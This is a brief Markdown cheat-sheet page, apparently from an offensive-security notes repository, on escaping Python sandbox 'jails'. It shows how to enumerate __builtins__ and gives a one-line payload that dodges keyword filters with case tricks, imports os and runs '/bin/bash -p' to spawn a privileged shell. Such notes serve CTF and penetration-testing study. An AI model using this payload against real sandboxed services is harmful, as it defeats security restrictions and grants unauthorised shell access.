killchain-compendium/exploit/python/jail_escape.md

19 lines
347 B
Markdown
Raw Normal View History

2021-12-09 01:50:04 +01:00
# Escaping Jails
* [Aneesh's blog](https://anee.me/escaping-python-jails-849c65cf306e?gi=a7d3bac81831)
## Usage
* Circumvent via `__builtins__`
```python
dir(__builtins__)
```
```python
__builtins__.__dict__
```
* Call builtins
```python
__builtins__.__dict__['__IMPORT__'.lower()]('OS'.lower()).__dict__['SYSTEM'.lower()]('/bin/bash -p')
```